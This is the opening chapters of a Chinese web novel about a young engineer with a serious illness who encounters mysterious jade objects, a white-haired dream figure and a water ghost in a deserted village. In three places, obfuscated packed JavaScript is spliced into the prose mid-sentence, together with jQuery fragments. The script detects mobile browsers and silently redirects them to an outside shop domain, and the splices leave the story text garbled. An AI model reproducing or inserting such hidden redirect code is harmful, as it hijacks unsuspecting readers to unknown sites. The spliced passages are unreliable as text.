《水池里有白化国》 1. 第 1 章 六点整,谢小年莫名其妙自然醒了。 她在思考自己为什么会醒这么早,好像是结束了一个不太好的梦,可再怎么回忆,依然想不出来那个不太好的梦是什么。 枕头边的手机突然震动。和醒来同样早的,是上级的电话。 谢小年一个翻身从床上爬起来,熟练地从床边大堆药瓶里掏药,一把倒进嘴里。床上外放的声音里,上级也哈欠连天地讲述任务计划,她仔细听了一下,终于在一长串没什么逻辑的话里听到了重点,“小年,空空城东边的那块废弃的地需要去考察。” “好的,老师。”谢小年含糊应着,一把药咽得有些困难,声线低了些。 谢小年的恩师和上级师出同门,学院没有复杂的称呼体系,于是恩师那一辈的,都统称一声“老师”了。 大概也就是这一声老师,唤起了上级还未曾泯灭完的人性,他嘱咐谢小年,“空空城的雨下的稀奇古怪,租辆车过去吧,我报销。” “好的,老师。”谢小年隔着手机回应,有些高兴。 打开窗户,果然,云层压得很低,厚重的白色夹杂着灰黑,说不准什么时候会下雨。谢小年这几年在户外练就的看云识天气的本事,被空空城的秋天,打击得无比挫败。 空空城就和它的名字一样,空旷,平静。城市的发展大概总要经过那么几个阶段,人群聚集,再是高楼林立,继而繁荣发展。这里却完全不一样,为了将东部的成果辐射到更加广泛的区域,历史性的大圈一划,空空城也成了其中的锚点。 聪明的商人买下地皮,建起高楼,坐等升值,然后,就没有然后了。房价往下跌,更不要说空空城这样远离经济核心的小城。于是这里就变成了一块奇怪的地方,鳞次栉比的高楼比人的数量还要多,风从楼房间穿过发出的呼啸比人的喧闹还要响。 也许是空空城具有的某些缺陷导致了它发展滞后?比如低洼的难以规划的地形,比如每年都要被淹几回的贫瘠红土。 谢小年就是这样被外派到这里了,做市政工程规划。虽然地方鸟不拉屎(划掉)百废待兴,但这年头,学工程的就像大白菜一样,能找到一个正经工作已经是谢天谢地了。 谢小年就很谢天谢地,对一个刚毕业的年轻工程师来讲,这份工作报酬很高,等她拿到尾款,距离自己做骨髓移植手术的费用就更能进一步。 上级还说了些什么,谢小年已经选择性忽略,伸手去拿手机。等等,有什么地方不太对劲。她的手指僵硬。 手上传来的触感有些冰凉,和熟悉的硅胶触感完全不同,吓得她手一松,手机倒扣在了床上。 谢小年终于看清楚自己摸到的东西是什么。一块菲薄的完整方形白色玉牌,镶在了她的手机壳上。 “哈,哈……咳咳咳。”安静的房间里,谢小年的声音又把她自己吓到,心脏狠狠一缩,耳边好像有心跳炸开。 “到底是什么时候……”她到底是什么时候,换了这样一个看着就贵得不行的手机壳。 不美妙,很不美妙。 她什么时候突然有钱了?她失忆了? 谢小年小心翼翼拿晾衣架戳了一下,手机没有任何反应,既没有突然开启什么语音播报系统,也没有突然爆个炸给她看看。 是自己的手机没错,她很确定。手机框边缘发黄的软硅胶是她使用的痕迹,唯一不一样的,就是背面那块玉牌。 谢小年捧着手机沉默了半响,试图从上面看出来点端倪。直到猩红色的液体从她的鼻子里,滴到了屏幕上。 谢小年终于找到了一点自己还在人世是实感。 “见了鬼了。”鼻腔里的血顺着鼻咽流进嘴里,她身体前倾,压迫住鼻翼,找纸巾。 真是巧了,卧室的最后一张纸巾在昨天正好用完。 备用的纸巾在洗漱台上面的柜子里。 谢小年连心烦的情绪都生不起来,捂着嘴直奔洗漱台。 纸巾……纸巾,还好还好,柜子里剩了一大袋。 血迹顺着洗手池冲进下水道,谢小年终于感觉整个人提起气来了。 “早安,谢小年。”她咧开嘴,看着镜子里面色有些苍白但精神气很好的人,左看右看,觉得自己应该还足够活个几十年。 陡然间,谢小年的余光从镜子的角落里扫到什么,白色的,格格不入的。 她的笑容顿时僵硬,瞳孔肉眼可见的收缩,喃喃道, “现在早上不安了,谢小年。” 段宜在去医院上班的路上接到了一个病人的电话。 她对这个病人的印象很深刻,是一位年轻优秀的工程师,姓谢,叫谢小年。 “段医生,我想请问一下,我这个病,会出现什么比较特殊的并发症吗?比如幻觉,失忆什么的。” 段宜下意识发出了一声“啊?”发觉自己的反应不对,声音扬起来一半,又掉下去,变成了一声长长的“啊——” 骨髓瘤会出现神经系统方面的症状吗?那恐怕罕见得可怕,至少在她从业十多年的职业生涯里,从来没有听说过这样的案例。 如果说因为疾病引起精神压力过大,从而导致暂时性的神经方面问题,还算说得过去。 可谢小年的情况她清楚,一个因为医院旁边的饭馆子好吃而最终决定在他们医院进行治疗的小姑娘,很难说她会出现那么严重的精神问题。 但是段宜的措辞很严谨,“不能排除掉这种可能性,建议你来医院做个检查。” “好,我知道了。”不能排除,那就是出现过,就是有。 谢小年的汉字分解能力就是这么强。 打完电话,看着洗漱台上吓她一跳的东西,安心了。 “肯定是幻觉啊,就是这东西的质感,还挺逼真的。” 谢小年开始钦佩自己的幻想能力。这么具体的东西都能想出来,她该不是什么不出世的天才。 谢小年拿起来,是一对杯子。 白色的玉质,温润得好像找不到一丝杂质,谢小年不认识,但是她知道,肯定很值钱,而她买不起这么值钱的东西,所以,肯定是幻觉咯。 真的是……幻觉吗? 谢小年越看越觉得不对劲,这种质感,好像有点熟悉。她若有所思把手机壳翻过来,发现背面那块玉牌的色泽和质地,同杯子一模一样。 手一抖,一只杯子掉到了地上,没碎,骨碌碌地滚出去一截路,碰到了转角处的观赏绿植,谢小年的视线随着杯子滚动的路径,抬眼,好巧不巧,种绿植的花瓶不知道什么时候,也变成了玉瓶呢。 “没事的,没事的。” 谢小年下意识往后退了两步,后背抵到了另一只杯子,更加僵硬了。 一秒,两秒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929560|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她捂着胸口安慰自己,顺带捂着自己的双眼,主打就是一个看不见就是没有,颤抖着前进去捡地上的杯子,手腕随着动作幅度过大,从睡衣袖子里滑出来。红色的影子在她指缝透过的视线里若隐若现。 谢小年:……缩回去,立刻把手缩回袖子里。可恶,手怎么不听使唤? 这下子,谢小年不仅没有成功把杯子从地上捡起来,她自己“啪嗒”一下,也坐到了地上。 憋得通红的脸好半响才恢复,谢小年才觉得自己有力气掀开自己的袖子,好好看看自己手上莫名其妙出现的玉珠了。 还是半颗,用红绳拴起来的挂在手腕上,衬得手又细又白。她把自己从小到大的事情都想了一遍,就是没有找到这半颗玉珠的出处,这就坏了。 “谢小年,醒过来醒过来醒过来!”一巴掌拍在手臂上,痛。完了,不是梦。 这下是真鬼故事了。 谢小年又缓了一会儿,最后面无表情站起来,换衣服换鞋子出门。 可怜的人类,哪怕天塌下来也得去干活呢。 坐在车上的时候,谢小年已经换了三个软件,搜索有关“家里突然出现一些没有见过的物品代表着什么”的问题,搜出来的答案一个比一个离谱。 一起去考察的同事都忍不住探了半个头,对着屏幕上鬼鬼怪怪的搜索内容,皱了皱眉,深深看了谢小年一眼。 “小年啊。” “怎么了,郑姐?”谢小年抬头,有些疑惑。 “小小年纪,怎么看这么乱七八糟的东西哦,妖魔鬼怪的,没有一点依据。” 谢小年差点热泪盈眶,看着郑姐的眼神无比炽热,她终于遇到了一个懂她的人了,她一点也不相信这些妖魔鬼怪的回答啊! “你也这样觉得吗?郑姐!这些网页做得也太离谱了!” “是啊是啊!”郑姐也来劲了,“我跟你讲哦小年,这种胡编瞎造的故事最会误导人了!简直是败坏我们道派的名声!” “如果你真的喜欢,就去看看山海经啦,周易啦……” “……山海经吗?哈哈,好的郑姐,我会去看的。” 我们道派……嗯,她的又一个同行也在考虑转行了。 为了保持自己的病情稳定,她果断收了手机,闭眼假寐,什么都不想了。要死要活,是鬼是怪,就这样吧。 空空城这稀奇古怪的天气果然下雨了。幸好她们有先见之明,带了伞和雨衣。 这一片地真的很荒废啊。是一个村庄的废弃遗址,因为空空城的发展规划原因,现在只留下了一片断壁残垣,哦,还有村子最中心的废弃水池。 水池却很干净,清亮得不像是废弃已久,甚至能看见水池底下的青苔。密密麻麻的雨圈在水的表面荡开。 不过想到这本来就是在天然水池的基础上修建起来的饮用水池,底下还有泉眼,是一池活水,有净化水源的藻类,谢小年也就没有什么好奇怪的了。 “是村子里的饮用水源。”谢小年在纸上大概画了一下附近的地形,水池的位置在废旧村庄的最中心。 她画了一条线,把山和废弃房屋连起来,“一个天然的泉眼,经过人工扩建成了水池。” 还是一个很大的泉眼。 也有些奇怪了,周围都没有发现地下河的踪迹,偏偏在这个地方,生出来这样一个唯一的泉眼。 2. 第 2 章 郑姐也调出来卫星地图,点点头,“在这个位置,还挺特别的,一个六芒星形状的水池。” 是的,形状也很特别。为了方便,大多数会修建成近圆形,除非,原来的形状就是这样。谢小年按着卫星地图完善自己的画。 她选择性忽略了泉眼形成条件的问题,已经废弃了,执着于此,意义不大。 只是画到村庄大体轮廓的时候,谢小年突然停了笔,看了半响,戳了戳身边的同事,笑得狡黠,拿给郑姐看,“郑姐,像不像一个祭坛?” 纸上,中间一个六芒星的形状,被周围或长或圆的房子围起来,格外诡异。 郑姐握着手机的手一抖,眼神顿时充满谴责,伸手一巴掌拍在她的手臂上,“又看乱七八糟的东西。” 郑姐看上去比她还要害怕,谢小年恶作剧一样笑出声,先前紧张的心情放松许多。“好啦好啦,我去前面看看,一会儿在这里集合吧。” 雨下得更大了。 路上变得泥泞难行,红色的土壤被雨水冲刷,连接着水池的水沟变得浑浊。 这也是空空城面临的困难之一。 贫瘠的红土,既不适合种植,也不适合居住。很难想象,在空空城往西不到一百公里,就是全国闻名的富饶粮仓,空空城,好像是那个被造物主遗忘的废弃之地。 谢小年的雨衣被路上的刺划破了。幸好数据收集得差不多。雨天就是这样,人和天气都有些昏沉,谢小年坐在水池旁边,等郑姐回来。 雨顺着雨衣的缝隙里漏进衣服里面,谢小年觉得更加昏沉了。上级突然打过来的一个电话激得她大脑瞬间清醒。 “老师,我们在外面。” 电话那头的语气很急,“小年,二桥村和外面连接的木桥被洪水冲垮了,你过去看看!” 二桥村,好熟悉的名字。 木桥被洪水冲垮了。可是她不是建筑系出身啊,谢小年觉得自己的脑袋有些昏昏沉沉的。洪水,对,洪水。她到空空城来就是为了解决这边洪水的问题,二桥村发生了水灾,桥被冲垮了,好的,这件事情确实是她应该管的,她马上就过去。 可是今天的雨真的好大。 谢小年穿着雨衣在路上狂奔。眼睛前面的水雾越来越重,就像冬天的窗户。 空空城的秋天真是太讨厌了。她也说不清楚自己为什么要在雨里狂奔,为什么一点也没有想起来可以坐车,跑得双腿发软,还是没有到二桥村。 “砰——” 谢小年撞到人了。 那个人好高一个,还很硬实,谢小年没有撞倒他,反弹带来的力量却让她止不住后退几步,还是没有恢复平衡,“啪”一下坐到了地上,雨伞已经被风吹到了一边,地上溅起来暗红色的泥点子沾在手臂上。她木愣愣地坐在雨里,雨水顺着额头,脸颊,睫毛,哗啦啦往下流。 谢小年有些崩溃。她一个重病患者,要攒钱给自己治病已经够难受了,大雨天出任务还和人撞到,天底下还有比她更惨的人吗? 太惨了。谢小年顺势往地上一躺,眼睛闭上感受雨水在脸上划过的感觉,双手放在小腹上,安详得和博物馆里的木乃伊有得一拼。 头顶有一片阴影挡住了雨。谢小年睁开一只眼睛,是她滚到一边的伞被人举起来了。 “你走吧,别管我,我躺一会儿就起来了。”谢小年有气无力。 对方没有说话,沉默着蹲下来把她脸上,脖子上的水全部擦干。柔软的丝绸让皮肤重新变得干燥,谢小年的思维歪到了很奇妙的地方。 居然还有质量这么好的产品吗,吸水性也太好了点。 “快起来吧。”那个人伸手拉她。“不要睡了。” 谢小年顺从地坐了起来,但依然不愿意站起来。她抬头,看清楚了这个跟自己撞到的人。 他真好看。满头雪白的长发直到大腿,没有一丝杂色。身上的长袍复杂繁琐,谢小年头一次对五彩缤纷的白有了实感。 更绝的是那一张脸,原谅她贫瘠的赞美语言,如果非要形容,就是清冷得像从前书里描述的泰山冬天的大雪。可他的眼睛,却像雪林里永不凝固的温暖的河。 “你真好看。”谢小年羡慕死了。长得这么好看,身体还这么好。 他的嘴角勾出来一抹浅浅的笑意,“我知道,你以前也这么说。” 谢小年的眼睛冒出了光亮,真的吗,这么好看的人,她居然以前就认识了!谢小年几乎是瞬间就接受了这个说法,因为这个人,真的很熟悉。 他说,“你还记得我吗?我是东方不败,来自白化国。” 东方不败?谢小年的脑子瞬间闪过了无数的疑惑,怎么会有人这样介绍自己的?就和她三岁的侄儿说自己是喜羊羊一样。 可在那张漂亮的脸的诱惑下,她终于为对方的话找到了一个合理的解释。 是cos吧,肯定是cos老师。从空空城到锦城的地铁上,谢小年见过很多漂亮的cos老师。这个老师或许也是那样。东方不败大概就是角色的名字,白化国也许就是故事发生的背景。还有他身上这身长袍,飘逸柔顺的白发,更加坚定了谢小年的想法。 那就坏了。谢小年没有出过cos,她的生活很无趣的,一直读书,读书,读书,然后工作。现在发现自己生病了,又攒钱治病,会没有共同语言吗? 他向人介绍自己,都用了角色的名字,肯定是很喜爱这个角色和这一身行头了。 谢小年报以理解,心一横,“你好你好,我是东方小败,来自空空城,很高兴遇见你哦。”顿了顿,谢小年觉得有些尴尬,“抱歉,我不太记得之前的事情了,但是我对cos也很感兴趣,我们以后可以一起交流!” 谢小年不禁为自己的智慧点赞,既保全了对方的自信心,又拉近了两个人的距离,她真是,太聪明了。 美色迷人眼就是这样的。 对方不知道为什么,听到她的回答,愣了一瞬,随后摇头轻笑,“快起来吧,地上全是水。” “好的好的。”谢小年点头。 可是她的腿已经软了,浑身没有力气,她问,“我能扶着你的腿站起来吗?” 对方温柔地看着谢小年,丝毫没有因为她冒昧的请求而生气,眼神中还有谢小年忽视的某些恶趣味,他突然笑出声,说,“好啊。” 谢小年又看呆了,这个人真是个顶顶好的大好人,长得好看,人也很好,她会祈祷这么好的人长命百岁的。 这样想着,她羞涩地抱住了人家的……腿? 顿时,谢小年手臂僵硬了,她听见自己脖子僵硬转动发出了嘎吱嘎吱的响声,抬头,连嘴唇都害怕得颤抖, “你没有腿?你为什么没有腿,你也没有脚?”话说完,她的脖子又嘎吱嘎吱地往下转动,再一次确认,没错,长袍下面,没有脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929561|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而她搂住的,只有一堆衣服。 只有鬼才是没有脚的,谢小年她,怕鬼啊! “你很害怕吗?”对方的声线平静又轻柔。 她当然很害怕啊!害怕得已经在发抖了好吗? “如果你现在还不起来,我就要吃掉你喽。” “我起来,我马上起来!” 那样温柔带着笑意的语气,听起来更加渗人了,谢小年麻溜翻身爬起来,双腿打着颤拉开和他的距离。 这样一想,他果然很符合她对鬼的认知啊!长得好看,遇见猎物的时候,就会瞬间张开血盆大口,厉害一点的鬼甚至能把自己的脑袋从中间分成两半。而这个鬼已经不是一般的好看了,所以他肯定也是那种能把自己的脑袋劈成两半吓人的厉害鬼了。 谢小年又注意到了一些自己刚刚忽略的细节,更加笃定自己的想法。是真的,他果然是鬼。他的衣服和头发在雨里一点都没有打湿,就算没有被雨伞遮盖住的肩膀,天上落下来的雨丝,也绕过他落下,这样不是鬼还能是什么? “怎么过了那么久,还是怕成这样。”他的语气里带着细微的嗔怪,手上的动作却没有丝毫含糊,一把将差点摔倒的谢小年捞了回来。 谢小年瘫在他的手臂里装死。 她听见对方无奈的轻轻叹了一口气,“我不是鬼,刚刚骗你的。” 真的吗?可是他没有脚,也没有腿。鬼会骗人吗?他会骗人吗?当然会了! 谢小年的睫毛颤动,眼珠子乱转,心里很纠结到底要不要相信他说得话。她决定继续装死,直到对方发现她真的不是一个美味的食物,将她放下来。 但是等了好半响,他依然没有把她放下来。谢小年有些着急了,她还要去二桥村,那里和外界联通的木桥被洪水冲坏了,她要去看看有没有解决的办法。 两个人的对峙没有持续很久,对方捏住了谢小年的鼻子,控制了她的呼吸。 憋气这件事太艰难了,在自己肺发出强烈抗议之前,谢小年选择妥协。 她睁开眼睛,露出来一个有些讪讪的笑容,“我知道,我知道你不是鬼了,但一句话总归没有说服力对不对?这样好不好,你把我送到二桥村,我就真的相信你不是鬼了。” 他捏着谢小年鼻子的手往上挪,在她的额头上重重敲了一下,“我没办法送你去二桥村,因为这里就是二桥村。我不是鬼,小年,世界上是没有鬼的。” 谢小年发现,自己被敲的那一下,感受不到任何痛觉。他为什么说这里就是二桥村,他为什么知道她叫小年?还有,世界上真的没有鬼吗? “我在做梦吗?”谢小年沉默片刻,忽然问道。 对方没有回话,只是推着她走过了那一条泥泞的红泥地。 “小年,该醒了。不要害怕,遇见什么就大胆反抗,他们都会很怕你。” 耳边的声音越来越淡了,如果这真的是梦,谢小年知道,她就快要醒了。 “你是谁?我为什么会在梦里见到你?”谢小年潜意识里觉得这两个问题很重要,重要到她一定要得到一个答案。 可是对方没有回答她,只是说,“快回去吧。”声音越来越缥缈。 谢小年再次转头想要去找人的时候,刚刚躺过的那一条泥泞的路已经不见了,取而代之的,是水池边缘被雨水冲得松软的泥土。 而她的下肢,已经落到了水池里。 3. 第 3 章 而她的下肢,已经落进了水里,在水池里,荡漾出和雨滴一样的水圈。 谢小年突然就想起来,这就是二桥村。二桥村的地势很低,两年前因为洪水和地区规划的原因,早就举村搬迁走了,留下来的,就只要如今眼前能够看见的这些东西。 她还知道,二桥村搬迁之前那一场洪水,真的冲垮了他们和外界连接的桥梁。 谢小年的感觉逐渐复苏,被泡在水里的双腿已经被冷得有些麻木,一串厚实水草缠在她的小腿上,将她缓慢却不停止地往下拉。 她咳嗽着剧烈喘气,将呛到肺里的水艰难咳出来。视线也落到了水底。 这个水池的水质实在是太好了。好到哪怕是大雨,哪怕红色的淤泥冲进了水里,她还是能够轻而易举地看到水底那一道拉着水草哼哧哼哧往水池中央艰难前进的半透明影子。 “嘿呀,嘿呀……” 原来真正的鬼长这样吗?真的是鬼吗?真的是!谢小年反射性开始颤抖,害怕。它的身体好模糊,连五官都看不见,它的头发好乱,被炸过一样,它长得好扭曲,头看起来是人的,身体却像动物,背上还不知道长了两个什么畸形的东西。它看起来好可……怕?——那倒也没那么可怕。 诶,原来水鬼不是皮肤被泡的全是褶皱,整个鬼浮肿而苍白,半夜里从水里爬出来,用长长的湿漉漉的头发缠住岸边的人往水里拖吗? 竟然是这样半透明,被拼凑起来的丑萌玩偶吗。 “好重,好重!” 半透明影子只有一米高,弯着腰使劲拉水草就显得更加矮了,拉不动了,往水底一坐,吐出来一圈一圈细小泡泡,就像人的呼吸。 谢小年撑着手站起来,小影子回头看了她一眼,没有反应,继续从模糊的脸上冒出来泡泡。没有人能够看见它,这个女人也不会例外。它把水草缠得可扎实了,她又解不开,等它再休息一下,就继续把她往水里拉。 谢小年站起来的第一个动作还真不是去解小腿上的水草。 她往水池里又走了两步。水池边缘的水不是很深,刚刚淹过她的膝盖。谢小年弯腰,把那一串水草提起来,在水里坐的好好的小影子瞬间被提得换了个姿势,在水里狗刨,吐出来的泡泡也越来越多,绵软的青苔在它头顶飘荡,那是水鬼的头发。 “没礼貌!真讨厌,真讨厌!坏女人!” 坏女人?那得让这个小东西看看什么才算真正的坏女人。 谢小年顿时松开水草,半透明影子瞬间跌下去,在水里溅出来一圈本应该看不见的水花。还没有落到水底,一只脚往它屁股上用力一踢。 “哎呀!”半透明的影子真的很生气了,连声音都尖锐了不少,怒气冲冲地从水里浮起来,瞪着谢小年。 它瞪眼的时候,谢小年发现,竟然能够隐隐约约看得见它的两颗眼睛了,鼓鼓的像是下一刻就能掉出来。 这对影子来说并不是什么好的感觉,它惊恐地发现自己和面前这个坏女人的视线竟然对上了。 她看得见自己?她为什么能看得见自己呢?不应该啊?她是道士吗,她会收了自己吗?她会送它去归墟吗?可是它不想去归墟,去归墟,它就彻底死掉了。 谢小年莫名觉得,面前的小东西看起来好像比她更紧张。 “吓我,还骂我?” 小影子果然很紧张,谢谢小年一句话,它浑身一抖,半透明的身体边缘无端化成水滴,一滴一滴往水池里掉。 “你是道士吗?” “不是。” “真的吗?你发誓?” 谢小年觉得真好玩,水鬼也知道发誓吗? “当然是真的,我不骗你。” “这样吗?” 小影子的语气里有几分深思,猛然间,它跳到谢小年身上,缠住了她的脖子。 “求求你了,让我咬几口好不好,只要几口,你不会死的,你们人类不是最相信发誓吗,我向你发誓,你肯定不会死的,只是会病一段时间,可是我再不吃人,我就没有力气在这里呆下去了,水会带着我去归墟,我去归墟就会死掉了,呜呜呜,求求了。” 影子四肢死死扒着谢小年的脖子,她听见自己脑袋里的血管抽抽地跳,濒临窒息。原来这就是鬼啊。 这个女人真难搞,她的手臂很有力量,拳头也很硬,一拳打在它的脸上,它始终没办法咬到她的脖子。不过没关系,它会紧紧缠着她的,她马上就会没有力气了,它马上就能吃了她。 谢小年扒拉不下来它缠在自己脖子上的四肢,它从水里来,身体也像水一样。水怎么能被人抓住呢。 肺里的空气越来越少,意识越来越模糊,谢小年好像又回到了做梦的状态,记忆在脑海里走马观花地过,像电影胶片,一帧接着一帧,最后的停留点,竟然是刚刚才梦到的高大男人,他说,“小年,你不要怕,他们都会怕你。” 怎么会呢,鬼才不会怕人呢,她都要被鬼吃掉了。 谢小年的反抗越来越松,影子放松大笑着叫起来,“我要享用我的美食啦。”年轻的女人,细皮嫩肉,吃起来一定会非常非常美味。 它张开嘴,一口咬上了谢小年的手臂。 好香好香,它要嚼嚼嚼,啃啃啃。可是它好像没有发现,嘴里的那一条手臂没有任何变化,而自己试图用力的嘴往下淌着水滴,它用力,水滴淌得更欢了,好像它的身体从来都不属于它,而是身下这一方水池。 脸上的水滴往下淌,手上的,腿上的,身体上的水滴都往下淌,它变得越来越小,连一米都没有了。 它无力地滑进了水池里,声音尖锐,充满了被欺骗的恼怒,“你说你不是道士的,你说过的,你发过誓!” 谢小年逐渐缓过神,大口大口呼吸新鲜空气,对它的话充耳不闻,一脚把它踢到水池中央,转头走上岸。 她没有骗人,她真不是道士。 “求求你了,给我咬一口好不好,我不会再那样了,你只要伸过来一条手臂就好了,你救救我吧,我真的不想被水送去归墟,你让我咬一口只是会生病,而我就要死了。” 忌惮谢小年的力量,它只敢扒拉在水池边,向谢小年不断请求。 “我帮不了你。”谢小年重新把伞举过头顶,平静地看着它。“我不能再生病了,就像你不想死一样。” “我诅咒你,恶毒的女人,你不得好死。” 谢小年看着它扭曲的身体,嘴角幅度扩大,得意地笑了,“才不会,我呀,就是能活,能活得长长久久还无比健康,而且还能一脚把你踹进水底。” 影子想从水池里爬起来,身体却已经不受它控制,水滴淌下去,最后变成了一滩清亮的水。 那一滩水和整个水池的水都不一样,黑色,缓缓往下沉,水池瞬间变得不清亮,那一滩黑色,沉到了谢小年看不见的地方。风吹过,水池表面又恢复了平静,好像刚刚的一切都没有发生过。 风和雨水混合着打在脸上,谢小年拧了一把自己的大腿,不知道是因为在水里太久已经麻木得丧失掉了知觉,还是因为这一切依旧是梦,她没有感受到疼痛。 “小年!小年!” 谢小年回头,郑姐火急火燎跑过来,“不好意思不好意思,路太滑了,耽误了一些时间。——你怎么浑身都湿透了?掉进水里了?” “郑姐,你是真实的吗?”谢小年很认真地问她。 郑姐吓得雨伞都差点拿不稳了。“我的老天爷,小年你被鬼上身了吗?不行不行,我带了张平安符,你赶紧混着水吞了!” 郑姐解开雨衣,在背包里翻动。 谢小年顿时安心了。看来这个是真的郑姐,她偷偷摸摸打算转行的同事。 “不用啦郑姐,可能是被雨淋感冒了,我脑袋昏昏沉沉的有点不清醒,不是鬼上身。平安符你留着吧。” 谢小年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929562|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦住郑姐翻背包的手。 “真的?” “真的。” 谢小年朝她龇着牙笑了笑,除了脸色苍白些,的确是看不出来什么一样。 “好吧,我一下都急忘了,你怕鬼呢,真是鬼上身,怎么能这么淡定嘛。”郑姐说服了自己。 “快去车上把衣服换一下吧,空空城的雨真是古怪,又密又偏,专往人身上打,雨伞加上雨衣都防不住。” 谢小年赞同地点头,幸好她们装备带得齐全。 “小年,手上的绳子都湿了,不解下来吗?说起来,以前都没有见你戴过,这么珍视,是去哪里求的吗?保平安,还是求姻缘?” “肯定是求姻缘吧,我知道一个寺庙求姻缘非常灵,我向你保证,我带你去上一次香,肯定很快就脱单了……” 车里的空调温度打得高,谢小年只穿着单衣,手腕上的半颗玉珠露出来,被眼尖的郑姐看到。 而郑姐,团队里出了名了热心肠。 谢小年知道自己再不打断她,接下来自己就真的招架不住了。“郑姐,郑姐!别别别,就是随便戴戴的手链而已,我不信那个,我还是比较信马克思。” “啊,这样啊。”郑姐大概是知道自己暴露了什么,接下来全程都没有再和她搭话,谢小年狠狠松了一口气。 手腕上的红绳确实是湿的,从大红变成了暗红色。半颗玉珠却没有沾上一滴水,干干爽爽,谢小年摸到的那一刻,手臂上的汗毛竖起来,毫不意外连续打了两个哆嗦。 先是莫名其妙出现的红绳,再是梦里的漂亮男人,接着是水池里奇形怪状的水怪,谢小年隐隐约约觉得这三者之间有什么联系。 被水鬼缠上的冰冷好像还萦绕在她的脖子上。谢小年想起来,自己不应该能看见鬼的,怎么也不应该的。能看见早就看见了。 梦里撞到的那个人。或许是人,或许是鬼,她脑子乱乱的,理不清楚,自己到底是什么时候认识那个人的?总不能是上辈子吧。 谢小年把车窗打开了一条小缝,恰好对着她的脑袋,风和雨一起飘进来,把头吹得冰冷,“郑姐,你怕鬼吗?” “这是什么话,当然怕了。” 谢小年说,“我也是,不仅怕鬼,还怕麻烦。”她的某一段生活,有一件很重要的事情要做,就足够占据她全部的心血了。 车窗被她又打开下来一段,谢小年取下来手上那条串着半颗玉珠的红绳,用力往窗外一扔,亲眼看见它掉进了路边的草丛里,安心地关上车窗。 “小年?”郑姐从后视镜里看见了她的动作,有些疑惑。 “哦,才发现那颗珠子碎掉了一半,估计是在哪里碰碎了,就丢掉了。” 郑姐觉得哪里不对劲,谢小年连忙拉开话题,“郑姐,不然我来开车?你休息一会儿吧,还要回去汇报考察结果。” 一提到这个事情,对方顿时头痛得什么事情都不关心了。唉声叹气地和谢小年换了位置。 空空城一场雨,差点让他们从北方来的一群人全军覆没,一场研讨会,擤鼻涕的声音比大家说话的声音更加频繁,这还怎么开得下去?和谢小年一起在雨里出任务的郑姐,更是在一个短暂的午觉后,喉咙肿的连话都差点说不出来了。 说起来也稀奇,明明应该是免疫力最低的谢小年,反而什么事情都没有,精神好得不得了。 “都回去,该吃药吃药,该吊水吊水,明天再汇报。” 上级已经吓得带上了口罩,挥手把人都赶了回去。不怪他谨慎成这个样子,这几年,谁听见这么密集的咳嗽声不害怕的。 然而下一秒,谢小年突然被叫住,“小年啊,组里就你精神好点了,你今天就在单位对付一下,去档案室把二桥村以前的自然灾害记录调出来整理一份。” 谢小年为自己刚刚的理解感到后悔,就是普通风寒感冒,带个口罩装什么呢装,躲传染病似的。 4. 第 4 章 什么叫就她一个人看起来精神?她真想把病例报告丢他脸上,让他睁开他的狗眼好好看看,他们这一群人,就她一个人,最不精神。 “好的老师,我现在就过去。” 啊,她还是那个棉花一样好欺负的谢小年呢。不过想起来家里莫名其妙出现的那些东西,谢小年觉得,算了,加班就加班吧,她现在是真的不想回去。 “去吧去吧,给你算三倍加班补贴。” “老师?咱们账上有钱了?”她有点震惊,最近也没听到哪一家的资产充公了啊?难道是她又遇上……了? “什么表情?我们是有编制的正经工作单位,正经发工资的,你以为你在园区干电信诈骗吗?” 谢小年讪讪,尴尬笑了两声,“怎么会呢,老师,我肯定没有那么想过。” “组织知道你最近急需用钱,就是东拼西凑也不会缺了你的。还有,师姐给我打电话了,她很担心你的情况,小年啊,出了事别光想着一个人扛着,后面还有大人在呢。” “老师……”谢小年感动得眼泪差点掉下来,伸手抹了把眼角。 “快去吧,好好干活。” 谢小年调整好情绪,走进了档案室。等到拿到二桥村全部档案记录的时候,她的感动已经全部散成了云烟。 这个加班补贴,就是三倍也是她应该得的。她早该想到的,普通的工作怎么会有这么高的加班补贴呢,真的,她真傻。 二桥村两年前因为生态原因移民,村志在搬迁过程中丢得七零八碎,剩下的也没有时间和精力整理,现在要找二桥村的记载,只能从空空城的整个地理志记录里才能翻到一些零碎的片段。 谢小年看着桌子上收集起来的记载,好不夸张,真的比人还要高。更加糟糕的是,长久没有更新重编,有些部分字迹已经模糊得看不清楚。 真全部找下来,她今天晚上恐怕是不能睡觉了。 